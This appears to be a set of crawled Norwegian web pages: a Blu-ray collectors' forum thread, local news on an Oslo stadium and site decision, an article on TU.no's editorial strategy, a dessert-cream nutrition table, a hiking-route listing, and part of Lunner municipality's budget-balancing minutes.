{"url": "http://avforum.no/forum/hd-filmer-blu-ray-streaming-/49430-hvilken-blu-ray-disc-har-du-kj-pt-dag-303.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:41:17Z", "text": "     Newcomer  \n    \n    -----\n\n    \n6.   08-02-2011,\u00a016:46   \\#6046 \n    \n    >  Opprinnelig postet av **Rotja**\n    > Shallow har du hatt tid til \u00e5 se p\u00e5 noe av alt du har kj\u00f8pt...? Du m\u00e5 jo ha noe som 3000+ filmer n\u00e58)\n    > \n    > 'Bare' 1347 Bluray s\u00e5langt(f\u00f8lg linken under for komplett oversikt), men det n\u00e6rmer seg   \n    >   \n\n8.   08-02-2011,\u00a019:21   \\#6048 \n    \n    Folkvord\n    >  Opprinnelig postet av **Rotja**\n    > Folkvord: det virker som du har kj\u00f8pt en uendelighet av filmer, sett noen av dem enn\u00e5?\n    > Jepp 8) Fikk 4 stk i dag ogs\u00e5, har rundt 17-18 usette filmer i hyllen n\u00e5.  \n    >   \n    > $14.99 fra Amazon.com.  \n    >  Opprinnelig postet av **Shallow\\_**\n    > Ligger litt p\u00e5 etterskudd, men det er filmer som virka kulere n\u00e5r jeg leste om dem/s\u00e5 trailer enn det de virker n\u00e5r jeg har coveret i h\u00e5nda. Ca 100 usett+usett, og ca 100 gjenkj\u00f8p+usett. Ender fort opp med \u00e5 se I, Robot eller Stealth eller Mr Mrs Smith o.l. for hundre og n'te gang fremfor \u00e5 psyke meg opp til \u00e5 finne frem feks Gran Torino \n    > Har du ikke sett Gran Torino enda? :neutral: Hva med There Will Be Blood har du f\u00e5tt den i spilleren? \n    \n    -----\n\n9.   08-02-2011,\u00a019:25   \\#6049 \n    \n    Muffinman\n    > \u00c6rlig talt, Gran Torino er jo et must, se den da.. du angrer ikke... lover 8)\n    \n    -----\n\n12.  08-03-2011,\u00a015:56   \\#6052 \n    \n    Folkvord\n    \n    >  Opprinnelig postet av **Rotja**\n    > \u00c6rlig talt, Gran Torino er jo et must, se den da.. du angrer ikke... lover 8)\n    > Enig en av de beste filmene jeg s\u00e5 i 2008, \u00e5 ranke den Disney filmen f\u00f8r Gran Torino blir bare feil :evil:\n    \n13.  08-03-2011,\u00a016:00   \\#6053 \n    > Kj\u00f8pt i g\u00e5r; Insideman, The Rock, The Dark Knight og Red. Alle p\u00e5 Blu-Ray.\n    \n", "language": "no", "__index_level_0__": "49cdac35-fd6c-4681-bd11-85d8eab9f00d"}
{"url": "https://www.nettavisen.no/dittoslo/sviktet-av-byradet/3422869985.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:48:42Z", "text": "\n\n# Topp 10 jakker til herre\n\nSagene SV er skuffet over at byr\u00e5det ikke tok hensyn til bydelens synspunkt p\u00e5 Voldsl\u00f8kka. N\u00e5 frykter de at boliger og en lite helhetlig plan \u00f8delegger det popul\u00e6re omr\u00e5det.\n\nVOLDSL\u00d8KKA: Helheten har v\u00e6rt veldig viktig for oss, og s\u00e6rlig med tanke p\u00e5 Heidenreich-tomta, sier lokallagsleder i Sagene SV, Bodil Christine Erichsen.  \n  \nBydel Sagene har tidligere g\u00e5tt enstemmig inn for alternativ C, som inneb\u00e6rer bygging av nytt stadion for Skeid, samt et vedtak, der man prim\u00e6rt ber om dialog med Skanska, som eier Heidenreich, alternativt for kj\u00f8p av tomta.  \n  \nImidlertid vedtok byr\u00e5det sist torsdag \u00e5 g\u00e5 for alternativ A, som verken tar opp i seg en bevaring av Heidenreich-tomta eller bygging av ny stadion.\n\n## Viktig omr\u00e5de\n\nDette er \u00e5 undergrave lokaldemokratiet, sier Erichsen, og f\u00e5r st\u00f8tte av BU-representant, Reza Rezaee (SV).  \n  \nVi skj\u00f8nner at det kan v\u00e6re politisk uenighet, men dette handler om et inngrep i et omr\u00e5de, som er veldig viktig for bydelen. Vi har mange boliger i omr\u00e5det rundt her, og veldig mange bruker Voldsl\u00f8kka, sier Rezaee.  \n  \nTil tross for at SV gikk for alternativet som g\u00e5r inn for bygging av stadion, er de ikke udelt positive til bygging av ny storstadion for Skeid.  \n  \nJeg vet ikke om det er behov for en ny stor stadion i byen. Jeg mener det ikke har v\u00e6rt utredet godt nok, og tror det ville v\u00e6rt fornuftig med en behovspr\u00f8ving for hele Oslo, for \u00e5 se om det er behov. Dersom det virkelig er det, m\u00e5 vi jo se p\u00e5 det p\u00e5 nytt, sier Erichsen, som mener naboene til et eventuelt nytt stadion ikke har blitt h\u00f8rt.  \n  \nJeg f\u00f8ler at det ikke blir tatt hensyn til n\u00e6rmilj\u00f8et. Naboene her har blitt forespeilet mer informasjon om videre utvikling etter at boligutbyggingen ble stoppet, noe de ikke har f\u00e5tt. Vi mener at byr\u00e5dets avgj\u00f8relse b\u00e6rer preg av hastverk. Flere parter burde v\u00e6rt involvert her, sier Erichsen.\n\n## Krav\n\nI et styrem\u00f8te mandag kveld vedtok SV flere krav til kommunen, som svar p\u00e5 byr\u00e5dets vedtak. Her krever de blant annet at kommunen kj\u00f8per Heidenreichtomta.  \n  \nDe beklager ogs\u00e5 byr\u00e5dets overkj\u00f8ring av lokalmilj\u00f8et, BU-politikerne og idrettsmilj\u00f8et p\u00e5 Sagene.  \n  \nBystyret er imidlertid siste instans for saken, og det kan ligge an til endringer n\u00e5r saken behandles der.\n\n\n\n## \\- Jeg var h\u00f8yt utdannet, men i deres \u00f8yne var jeg kun egnet til \u00e9n ting\n\n\n\n## Hver kveld da hun var ferdig p\u00e5 trening, ventet den eldre mannen utenfor garderoben\n\n\n\n## Espen Teigen: - St\u00f8re sto for en av de dr\u00f8yeste p\u00e5standene jeg har h\u00f8rt i norsk politikk\n", "language": "no", "__index_level_0__": "afe167a8-f198-4b92-909e-47b718337aa2"}
{"url": "https://www.medier24.no/artikler/vi-skal-ikke-bruke-tid-pa-noe-som-er-middels-unikt-middels-interessant-og-tar-tre-timer-a-lage/360391", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:34:23Z", "text": "\n\n# \u00abVi skal ikke bruke tid p\u00e5 noe som er middels unikt, middels interessant og tar tre timer \u00e5 lage\u00bb\n\n\\#NONA15: Er det verdt en toppsak? Hvis ikke blir det ofte en notis. - Vi er blitt mye hardere p\u00e5 prioriteringer, sier TU-redakt\u00f8r Svein-Erik Hole.\n\n  - Gard L. Michalsen\n  - 26\\. mai 2015 - 14:31  Endret 31. mars 2017 - 18:19 \n\n\u00abFemodoblet lesere p\u00e5 to \u00e5r\u00bb kunne vi lese allerede p\u00e5 slutten av 2013 om TU.no, nettavisen til Teknisk Ukeblad. Siden da har trafikken bare vokst.\n\nTU n\u00e5r flere hundre tusen brukere i uka, og i vinter fikk nettredakt\u00f8r Svein-Erik Hole ogs\u00e5 pris som \u00ab\u00c5rets nyskaper\u00bb fra Oslo Redakt\u00f8rforening.\n\n**P\u00e5 NONA-konferansen tirsdag ga Hole noen tips til hvordan man kan \u00abf\u00e5 st\u00f8rre verdier ut av journalistikken\u00bb.**\n\nOg hvordan han og redaksjonen stadig prioriterer hardere:\n\n\\- Vi fulgte nettopp etter VG med flere, og har laget en feed\u00a0som vi kaller \u00abTU direkte\u00bb. P\u00e5 nyhetsdesken hver dag er det n\u00e5 harde prioriteringer: Er det verdt \u00e5 bli en toppsak p\u00e5 TU.no? Hvis ikke, s\u00e5 blir det oftest en notis i direkte-feeden v\u00e5r.\n\n\\- **Innholdet v\u00e5rt skal v\u00e6re unikt. Vi skal ikke bruke tid p\u00e5 noe som er middels unikt, middels interessant og tar tre timer \u00e5 lage, sier Hole.**\n\n\n\n### Organisasjon og teknologi\n\nTU-redakt\u00f8ren gikk p\u00e5 NONA15 gjennom ti punkter med en rekke konkrete tips til hvordan man rett og slett kan f\u00e5 mer innhold.\n\n***Se punktene nederst\\!***\n\n  - **HELE FOREDRAGET** kan du ogs\u00e5 se i opptak p\u00e5 NONAs stream/opptak fra konferansen.\n\n**En viktig del av dette handler om hvordan redaksjonen m\u00e5 rigges, n\u00e5r de skal publisere - og ikke minst distribuere stoffet videre:**\n\n\\- Vi publiserte tidligere det meste av v\u00e5rt stoff mellom klokka to og fire, n\u00e5r leserne er minst aktive p\u00e5 nettavisen. Det har f\u00e5tt konsekvenser for m\u00e5ten vi jobber; n\u00e5 kommer vi med tidlige nyhetsbrev, og har folk p\u00e5 jobb til kvelden.\n\n**- Og s\u00e5 ser vi gjennom analyse at folk er mest i modus for dele saker fra TU.no sent s\u00f8ndag kveld, sa Hole.**\n\nTU bruker mye tid p\u00e5 analyse og datafangst til \u00e5 se hvordan folk leser stoffet.\n\n**Men ikke minst ogs\u00e5 gjennom enkle grep bruke data til id\u00e9utvikling. Som da de s\u00e5 at folk i vinter s\u00f8kte mye etter iPhone 7.**\n\n\\- Vi s\u00e5 at folk s\u00f8kte p\u00e5 Google etter iPhone 7, og lagde en seri\u00f8s sak om ryktene og informasjonen om iPhone 7. Det skapte stor trafikk - og s\u00e6rlig gjennom s\u00f8k, fortalte Hole.\n\n### Peronalisering og modus\n\nTUs gode r\u00e5d til nettavisene handler b\u00e5de om \u00e5 finne lesere, og konvertere lesere. \u00abBare\u00bb 23 prosent av sesjonene til TU.no kommer direkte, men m\u00e5let er stadig \u00e5 konvertere brukere til faste lesere.\n\nBlant annet gjennom individuell behandling av lesere, personifisering og \u00e5 utnytte algoritmene.\n\n**Og at det er ikke \u00abenten eller\u00bb - det er b\u00e5de korte nyheter og lange saker.**\n\n\\- Leseren er i forskjellige moduser. P\u00e5 noen tidspunkter \u00f8nsker de raske oppdateringer. Andre ganger vil de lese lange reportasjer, mener Hole.\n\nP\u00e5 sp\u00f8rsm\u00e5l fra salen var han ogs\u00e5 tydelig p\u00e5 at det for TUs del ikke handler om \u00e5 skape mest mulig enkel journalistikk som gir flest mulig raske klikk. Tvert i mot mener Hole at journalistene skal bruke tid p\u00e5 lange og grundige saker.\n\n**- Det er noe av det som gj\u00f8r at folk \u00f8nsker \u00e5 jobbe hos oss. At de kan bruke tid p\u00e5 st\u00f8rre saker. Her er et eksempel p\u00e5 det - et interaktivt bes\u00f8k p\u00e5 oljeplattform. Vi kunne brukt den samme tida p\u00e5 \u00e5 sende journalisten ut p\u00e5 tre-fire videoreportasjer i Oslo, men dette gir selvsagt mye mer long-tail og gjerne stor viral trafikk, sier Hole.**\n\n\n\n  - **OLJEPLATTFORMEN** kan du for\u00f8vrig bes\u00f8ke\u00a0her p\u00e5 TU.no.\n\n## **Dette er Svein-Erik Holes 10 trinn for \u00e5 f\u00e5 mer ut av journalistikken:**\n\n1.  **Unike saker**\n2.  **Organisatoriske endringer**\n3.  **Id\u00e9utvikling gjennom bruk av data**\n4.  **Finn nye lesere**\n5.  **Konverter til faste lesere**\n6.  **Utnytt algoritmer og nytt brukerm\u00f8nster**\n7.  **M\u00e5l og l\u00e6r**\n8.  **Tenk longtail**\n9.  **Nye former for lojalitet**\n10. **Si hei til verden**\n\n", "language": "no", "__index_level_0__": "9ba6596a-5cde-4fdf-892d-88a09064b500"}
{"url": "https://www.matoppskrift.no/kalorier-i-Dessertkrem", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:48:27Z", "text": "# Kalorier, allergener og n\u00e6ringsinnhold i Dessertkrem\n\n## Rask oversikt over n\u00e6ringsinnhold, energifordeling og pris p\u00e5 oppskriften\n\n| Navn                       | Verdi pr 100 g | Verdi pr porsjon | Enhet | Energiprosent |\n| -------------------------- | -------------- | ---------------- | ----- | ------------- |\n| **Kalorier**               | 132,40         | 349,87           | Kcal  |               |\n| **Protein**                | 1,12           | 2,96             | gram  | 3,38          |\n| **Karbohydrat**            | 6,69           | 17,68            | gram  | 20,21         |\n| **Kostfiber**              | 1,44           | 3,81             | gram  | 2,17          |\n| **Fett**                   | 10,92          | 28,86            | gram  | 74,22         |\n| **Mettet fett**            | 7,05           | 18,63            | gram  |               |\n| **Salt**                   | 0,02           | 0,05             | gram  |               |\n| **Pris p\u00e5 oppskriften**    | Kr 5,94        | Kr 15,70         | .-    |               |\n| **Hele oppskriften veier** | 1\u00a0057          | gr totalt        |       |               |\n\n**Viser f\u00f8rst over her det viktigste n\u00e6ringsinnhold pr 100 gram av oppskriften som den er beskrevet p\u00e5 oppskriftssiden. Under vises det evt allergener og opp til 44 forskjellige beregnede verdier p\u00e5 n\u00e6ringsinnholdet.**\n\n## Allergener som er registrert i oppskriften\n\nAllergenet **Melk** som forekommer i ingrediensen **kremfl\u00f8te**  \n  \n\n## M\u00e5 leses f\u00f8r man lager oppskriften\n\n  - Har du allergi for noe skal du alltid sjekke pakningen p\u00e5 ingrediensen du bruker.\n  - Mine data er bare beregnet brukt som en veiledning og hjelp.\n  - Ingredienser her som har allergener er for det meste generelle ingredienser, ikke spesifisert produsent\n  - Teksten **Spor av** viser at allergenet kan forekomme i ingrediensen men ikke n\u00f8dvendigvis. Her m\u00e5 man sjekke pakningen.\n\n#### **Viktig\\!  \n\n  \n  \n### Om disse verdiene, beregning og bruk.\n\n  - Verdiene for protein er fargekodede, med gr\u00f8nn for under 3 gram pr porsjon og r\u00f8d over.\n  - Disse verdiene blir beregnet med data fra mine databaser som inneholder alle ingredienser med n\u00e6ringsverdier.\n  - N\u00e5r ingredienser oppdateres vil og verdiene her bli oppdatert automatisk. Det samme gjelder om oppskriften forandres.\n  - Det vil og legges til nye verdier n\u00e5r det blir aktuelt.\n  - Om du vil bruke disse dataene p\u00e5 din egen nettside eller i annen forbindelse, s\u00e5 krever jeg en klikkbar link tilbake for nettsider. For trykk skal det oppgis kilde etter vanlige vilk\u00e5r. For profesjonell bruk tar du kontakt med meg f\u00f8r bruk av disse dataene.\n  - Opparbeiding av mine databaser og utvikling av disse beregningene har tatt \u00e5resvis og er mitt livsverk. Jeg har opplevd at andre stjeler, kopierer og indekserer disse. Flere har f\u00e5tt lov til det, og det koster ingenting \u00e5 sp\u00f8rre om lov f\u00f8rst. Jeg er ikke vanskelig.\n  - Dokumentasjon og forklaring p\u00e5 utregninger finner dere p\u00e5 denne siden: Forklaring p\u00e5 utregning av n\u00e6ringsinnhold p\u00e5 matoppskrift.no sine nettsider\n\n### G\u00e5 tilbake til oppskriften Dessertkrem her\n\n### Fullt og utvidet n\u00e6ringsinnhold for 100 gram av oppskriften p\u00e5 Dessertkrem\n\n| Navn                     |  Verdi | Enhet | % av daglig behov |\n| ------------------------ | -----: | ----- | ----------------: |\n| Kilojoule                | 547,82 | Kj    |              6,3% |\n| Kalorier                 | 132,31 | Kcal  |              6,6% |\n| Protein                  |   1,12 | gram  |              2,2% |\n| Fett                     |  10,92 | gram  |             15,6% |\n| Mettede fettsyrer        |   7,05 | gram  |             35,2% |\n| Transumettede fettsyrer  |   0,37 | gram  |              1,5% |\n| Enumettede fettsyrer     |   2,42 | gram  |              8,1% |\n| Flerumettede fettsyrer   |   0,37 | gram  |              2,6% |\n| Kolesterol               |  28,66 | mg    |              9,6% |\n| Omega 3 fettsyrer        |   0,10 | gram  |              4,0% |\n| Omega 6 fettsyrer        |   0,29 | gram  |             11,5% |\n| Karbohydrater totalt     |   6,69 | gram  |              2,2% |\n| Stivelse                 |   0,05 | gram  |               N/A |\n| Kostfiber                |   1,44 | gram  |              4,8% |\n| Mono/disakkarider        |   6,64 | gram  |              7,4% |\n| Laktose (melkesukker)    |   0,81 | gram  |               N/A |\n| Fruktose(fruktsukker)    |   0,00 | gram  |               N/A |\n| Alkohol vekt/100 g       |   0,00 | gram  |               N/A |\n| Alkohol vol %            |   0,00 | %     |               N/A |\n| Beta\\_karoten            |  15,31 | mcg   |               N/A |\n| Retinol                  | 100,03 | mcg   |             12,5% |\n| Vitamin\\_A               |   1,21 | RAE   |              0,2% |\n| Vitamin\\_D               |   0,06 | mcg   |              0,6% |\n| Vitamin\\_E               |   0,95 | mg    |             10,6% |\n| Vitamin\\_B1              |   0,02 | mg    |              1,8% |\n| Vitamin\\_B2              |   0,06 | mg    |              4,4% |\n| Niacin                   |   0,26 | mg    |              1,5% |\n| Vitamin\\_B5 Pantotensyre |   0,00 | mg    |              0,0% |\n| Vitamin\\_B6 Pyridoksin   |   0,05 | mg    |              3,8% |\n| B9 Folat                 |  32,67 | mcg   |             10,9% |\n| Vitamin\\_B12             |   0,06 | mcg   |              2,8% |\n| Vitamin\\_C Ascorbinsyre  |  58,47 | mg    |             78,0% |\n| Vitamin\\_K Fyllokinon    |   0,00 | mcg   |              0,0% |\n| Kalsium                  |  35,45 | mg    |              4,4% |\n| Jern                     |   0,22 | mg    |              2,2% |\n| Natrium                  |   7,67 | mg    |              0,3% |\n| Beregnet salt av Natrium |   0,02 | gram  |              0,4% |\n| Kalium                   | 196,49 | mg    |              6,0% |\n| Magnesium                |  11,47 | mg    |              3,8% |\n| Sink                     |   0,13 | mg    |              1,4% |\n| Selen                    |   1,02 | mcg   |              1,9% |\n| Kopper                   |   0,06 | mg    |              6,7% |\n| Fosfor                   |  35,46 | mg    |              5,9% |\n| Jod                      |   3,62 | mcg   |              2,4% |\n\n  \n", "language": "no", "__index_level_0__": "4d844349-15d8-46ab-b3e5-cef529c83486"}
{"url": "https://www.visitnorway.no/reisemal/ostlandet/oslo/listings-oslo/tur-langs-maridalsvannet/186941/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:35:11Z", "text": "# Tur langs Maridalsvannet\n\n  - \u00a0/\u00a0 km From You\n\u00d8stsiden av Maridalsvannet er et vakkert omr\u00e5de med tett skog, en enorm mengde stier \u00e5 utforske, og flott utsikt over innsj\u00f8en.  \nTa trikken fra sentrum for enkel tilgang til denne turen og resten av Nordmarka.\u00a0\n\n**Vanskelighetsgrad**: Enkel  \n**Turlengde, \u00e9n vei**: 8,1 kilometer  \n**H\u00f8ydeforskjell**: 250 meter  \n**Tidsforbruk**: 2-2,5 timer  \n**Transport**: Fra Jernbanetorget, ta\u00a0trikk nummer 12 til Kjels\u00e5s.\n\n*Les mer om denne turen hos Outtt.  \nLast ned Outtt-appen fra Google Play eller App Store for flere gode tips til friluftsaktiviteter i Oslo.*\n\n-----\n", "language": "no", "__index_level_0__": "8f961418-c483-4df9-8dbc-404aeedc03e0"}
{"url": "http://docplayer.me/3858002-Tiltak-for-a-oppna-varig-okonomisk-balanse-del-ii.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:33Z", "text": "1 M\u00d8TEBOK Arkivsaksnr.: 14/ Ark.: 153 Sak nr Styre/r\u00e5d/utvalg: M\u00f8tedato: 120/14 Kommunestyret /14 Formannskapet Saksbehandler: Maria Rosenberg, controller TILTAK FOR \u00c5 OPPN\u00c5 VARIG, \u00d8KONOMISK BALANSE - DEL II Lovhjemmel: Arbeidet med Handlingsprogram og \u00d8konomiplan er hjemlet i: a) Lov om planlegging og byggesaksbehandling 3-1 sier at planleggingen skal fremme helhet og bygge p\u00e5 \u00f8konomiske og andre ressursmessige forutsetninger. b) Kommunelovens 44 \u00d8konomiplan som p\u00e5legger kommunene en gang i \u00e5ret \u00e5 vedta en rullerende \u00f8konomiplan som skal legges til grunn ved kommunens budsjettarbeid og \u00f8vrige planleggingsvirksomhet. c) Lunner kommunes \u00f8konomireglement Det vises ogs\u00e5 til Formannskapets vedtak i sak 0086/14 - Forslag til prosess for Handlingsprogram, \u00f8konomiplan og \u00e5rsbudsjett 2015, som lyder: \u00abFormannskapet slutter seg til prosessen som er skissert for Varig balanse del II, arbeidet med handlingsprogram og arbeidet med \u00f8konomiplan og \u00e5rsbudsjett 2015.\u00bb Kommunestyrets vedtak: 1. Formannskapet vedtar tiltak for \u00e5 skape varig \u00f8konomisk balanse, \u00abVarig balanse 2014 del II\u00bb i henhold til tabell 1 i vedlegg Formannskapet ber R\u00e5dmannen innarbeide tiltakene i forslaget til budsjett 2015 og Handlingsprogram Formannskapet ber R\u00e5dmannen effektuere tiltakene snarest mulig, for \u00e5 oppn\u00e5 st\u00f8rst mulig hel\u00e5rseffekt av innsparingene i Behandling og avstemming: Bj\u00f8rn Niklas Sj\u00f8str\u00f8m og Trygve Brandrud ble tatt inn igjen i m\u00f8tet f\u00f8r behandling av saken. Repr. Arne Reum (AP) fremmet f\u00f8lgende endringsforslag: \u00abReduksjon p\u00e5 lavterskeltilbudet p\u00e5 Bergosenteret utsettes til budsjettbehandlingen, da det skal gj\u00f8res fors\u00f8k p\u00e5 drift videre p\u00e5 en eller annen m\u00e5te.\u00bb Arne Reums endringsforslag falt med 5 stemmer mot 20 stemmer. Formannskapets innstilling ble vedtatt med 23 stemmer mot 2 stemmer. Formannskapets innstilling: 1. Formannskapet vedtar tiltak for \u00e5 skape varig \u00f8konomisk balanse, \u00abVarig balanse 2014 del II\u00bb i henhold til tabell 1 i vedlegg Formannskapet ber R\u00e5dmannen innarbeide tiltakene i forslaget til budsjett 2015 og Handlingsprogram Formannskapet ber R\u00e5dmannen effektuere tiltakene snarest mulig, for \u00e5 oppn\u00e5 st\u00f8rst mulig hel\u00e5rseffekt av innsparingene i 2015.\n\n Lov om planlegging og\")\n\n2 Behandling og avstemming: R\u00e5dmannens innstilling ble enstemmig vedtatt som Formannskapets innstilling til Kommunestyret. R\u00e5dmannens innstilling: 1. Formannskapet vedtar tiltak for \u00e5 skape varig \u00f8konomisk balanse, \u00abVarig balanse 2014 del II\u00bb i henhold til tabell 1 i vedlegg Formannskapet ber R\u00e5dmannen innarbeide tiltakene i forslaget til budsjett 2015 og Handlingsprogram Formannskapet ber R\u00e5dmannen effektuere tiltakene snarest mulig, for \u00e5 oppn\u00e5 st\u00f8rst mulig hel\u00e5rseffekt av innsparingene i 2015.\n\n\n\n3 Sammendrag: Etter Formannskapets plan- og strategidager i september, ble forslag til tiltak \u00abVarig balanse del II\u00bb sendt p\u00e5 h\u00f8ring. Mottatte h\u00f8ringsinnspill per f\u00f8lger vedlagt denne saken. \u00d8vrige h\u00f8ringsinnspill som mottas frem til fristen vil bli ettersendt til Formannskapet. I denne saken inviteres Formannskapet til \u00e5 vedta omstillingstiltakene i \u00abVarig balanse del II\u00bb slik de ligger i tabell 1 i vedlegg 1. Det er gjort en mindre teknisk justering av tiltakene i forhold til det som ble sendt ut p\u00e5 h\u00f8ring 1. I og med at h\u00f8ringen ikke er avsluttet p\u00e5 tidspunktet saken sendes ut, vil R\u00e5dmannen vurdere \u00e5 foresl\u00e5 justering i tiltakene dersom h\u00f8ringssvarene tilsier dette. Denne saken redegj\u00f8r i korte trekk for hvorfor det er n\u00f8dvendig med omstilling i Lunner kommune n\u00e5. P\u00e5 Formannskapets strategidager ble utfordringene for redegjort for, og det ble vist en ul\u00f8st budsjettutfordring p\u00e5 6,4 mill. kroner selv etter tiltak Varig balanse del I og del II. Budsjettarbeidet er en p\u00e5g\u00e5ende prosess, og ul\u00f8st utfordring er en bevegelig st\u00f8rrelse underveis. R\u00e5dmannen er per n\u00e5 ikke kjent med vesentlige forhold som forbedrer bildet som ble tegnet p\u00e5 Formannskapets strategidager, utfordringen er heller \u00f8kende. Regjeringens forslag til statsbudsjett for 2015 legges frem , men det var fors\u00f8kt tatt hensyn til det inntektsniv\u00e5et som er forventet for Lunner kommune i redegj\u00f8relsen i Formannskapets strategidager. R\u00e5dmannen vil understreke at tiltakene i \u00abVarig balanse del II\u00bb foresl\u00e5s med bakgrunn i \u00e5 skape en varig, sunn \u00f8konomi for Lunner kommune, og de m\u00e5 sees i et lenger perspektiv enn bare 2015 og rammebetingelsene for dette ene budsjett\u00e5ret. Saksutredning: BAKGRUNN: Kommunestyret vedtok i sak 70/14 \u00abBudsjettjusteringer 1. tertial 2014\u00bb en rekke omstillingstiltak som skulle gi effekt b\u00e5de i 2014 og R\u00e5dmannen ble gitt myndighet til \u00e5 iverksette tiltakene beskrevet i \u00abVarig Balanse 2014 versjon 123\u00bb, slik at de ogs\u00e5 f\u00e5r effekt for Disse innarbeides i r\u00e5dmannens forslag til Handlingsprogram/\u00f8konomiplan og \u00e5rsbudsjett I tillegg vedtok kommunestyret at: \u00abR\u00e5dmannen m\u00e5 presentere et budsjett med 0,5 % i overskudd for 2015\u00bb. For \u00e5 innfri dette, er ytterligere innsparingstiltak kartlagt i en prosess kalt \u00abVarig balanse 2014 del II\u00bb. En stor del av tiltakene inneb\u00e6rer nedbemanning. For \u00e5 f\u00e5 mest mulig hel\u00e5rseffekt av nedbemanningen i 2015 gjennomf\u00f8res et l\u00f8p for vedtak knyttet til disse tiltakene som er separat fra den \u00f8vrige budsjettprosessen. Dette vil ogs\u00e5 sikre at organisasjonen ikke er i nedbemanningsmodus over for lang tid med de uheldige konsekvensene det har. Formannskapet inviteres til \u00e5 vedta innstilling til tiltak p\u00e5 plan- og strategidagene Deretter gjennomf\u00f8res en h\u00f8ring, f\u00f8r Formannskapet f\u00e5r saken til ny behandling 9. oktober og vedtar innstilling til Kommunestyret. Kommunestyret fatter endelig vedtak 16. oktober, jf. Formannskapets vedtak i sak 0086/14 - Forslag til prosess for Handlingsprogram, \u00f8konomiplan og \u00e5rsbudsjett 2015.\n\n\n\n\n\n4 FAKTA: 1. Hvorfor er omstilling n\u00f8dvendig i Lunner kommune n\u00e5? Det er flere forhold som gj\u00f8r omstilling i Lunner kommune n\u00f8dvendig og riktig n\u00e5. 1.1 Negativ resultatutvikling over tid Etter flere \u00e5r med en sunn resultatgrad p\u00e5 ca 3-3,5 % faller den til 1,3 % i 2011, 0,6 % i 2012 og 0,3 % i Netto driftsresultat var kun 1,6 mill. kroner i Dette er en nedgang p\u00e5 1,9 mill. kroner fra \u00e5ret f\u00f8r. Prognosen for 2014 viser per 2.tertial et forventet underskudd i driften. Det ser alts\u00e5 ut til at den negative resultatutviklingen fortsetter, med mindre noe gj\u00f8res. Figuren nedenfor viser utviklingen i netto resultatgrad i perioden Egenkapital Kontrollutvalget viser i sin uttalelse til \u00e5rsregnskapet for 2013 til at utviklingen i kommunens egenkapital har v\u00e6rt sterkt negativ de siste \u00e5rene. Kontrollutvalget viser til at det er en sterk korrelasjon mellom reduksjonen i egenkapital og \u00f8kningen i netto balansef\u00f8rte pensjonsforpliktelser og skriver: \u00abDersom trenden fortsetter vil kommunens egenkapital v\u00e6re borte i l\u00f8pet av 3 til 4 \u00e5r.( )kommunens driftsresultat, formuesposisjon og finansielle posisjon er svekket hver av de siste 4 \u00e5rene, og at utviklingen ikke er b\u00e6rekraftig.\u00bb For \u00e5 snu denne utviklingen er det n\u00f8dvendig \u00e5 tilpasse driften til et lavere niv\u00e5 som er mer b\u00e6rekraftig over tid. 1.3 Svak driftslikviditet Lunner kommune har de siste \u00e5rene hatt d\u00e5rligere og d\u00e5rligere driftslikviditet. Enkelt sagt er det ubrukte l\u00e5nemidler til investeringer som redder driftslikviditeten. Dette er meget uheldig. Lunner kommune hadde ved utgangen av ,8 mill. kroner i ubrukte l\u00e5nemidler. Dersom vi ikke hadde hatt ubrukte l\u00e5nemidler, hadde likviditetsgrad 1 v\u00e6rt 1,4 og likviditetsgrad 2 v\u00e6rt 0,5. Begge langt under anbefalt niv\u00e5. Dersom vi i tillegg justerer likviditetsgrad 1 med premieavviket, som i balansen er registrert som en fordring, men som i realiteten avskrives over 10/15 \u00e5r, viser likviditetsgrad 1 kun 1,1 ved inngangen til Arbeidskapitalen er et uttrykk for disponibel likviditet, er definert som oml\u00f8psmidler kortsiktig gjeld. Arbeidskapitalen var p\u00e5 107,2 mill. kroner ved inngangen til 2014, hvorav ubrukte l\u00e5nemidler utgjorde 71,5 mill. kroner. Ubrukte l\u00e5nemidler utgjorde dermed 66,6 % av arbeidskapitalen. For \u00e5 bedre likviditeten m\u00e5 det skapes overskudd i driften. I tillegg m\u00e5 rutiner for likviditetsstyring knyttet til driften videreutvikles og f\u00f8lges opp.\n\n\n\n5 R\u00e5dmannen er ikke kjent med vesentlige forhold som har forbedret dette bildet hittil i 2014, men en n\u00e6rmere redegj\u00f8relse for finansposter vil bli gitt i 2. tertialrapporten. 1.4 Kommende behov for investeringer Etter r\u00e5dmannens vurdering vil det bli behov for investeringer i Lunner kommune, selv med en n\u00f8ktern innfallsvinkel til behov og \u00f8nsker. Kommunen m\u00e5 tilpasse driften slik at den kan bidra til egenfinansiering av kommende investeringer. En forsvarlig drift krever ogs\u00e5 investeringer for \u00e5 sikre fremtidig oppgavel\u00f8sning og effektiv drift. Kommunen m\u00e5 derfor forberede seg p\u00e5 \u00e5 h\u00e5ndtere b\u00e5de forsvarlig driftsniv\u00e5 og n\u00f8dvendig investeringer. 1.5 Sunn bufferst\u00f8rrelse Det er n\u00f8dvendig \u00e5 ha tilstrekkelige buffere for \u00e5 kunne h\u00e5ndtere uforutsette hendelser og endringer i rammebetingelser, som for eksempel \u00f8kte rettighetsutl\u00f8ste tiltak eller heving av renten p\u00e5 kommunens investeringsgjeld. 1.6 N\u00f8dvendig omstilling av driften utsatt I driftsregnskapet for 2013 ble det n\u00f8dvendig \u00e5 stryke en planlagt avsetning til disposisjonsfond med 4,2 mill. kroner for \u00e5 unng\u00e5 underskudd. Kommunen fikk samlet 7,3 mill. kroner lavere inntekt fra skatt og rammetilskudd enn budsjettert. Det var store utfordringer knyttet til \u00e5 f\u00e5 budsjettet for 2014 i balanse. Det ble vedtatt en rekke salderingstiltak. 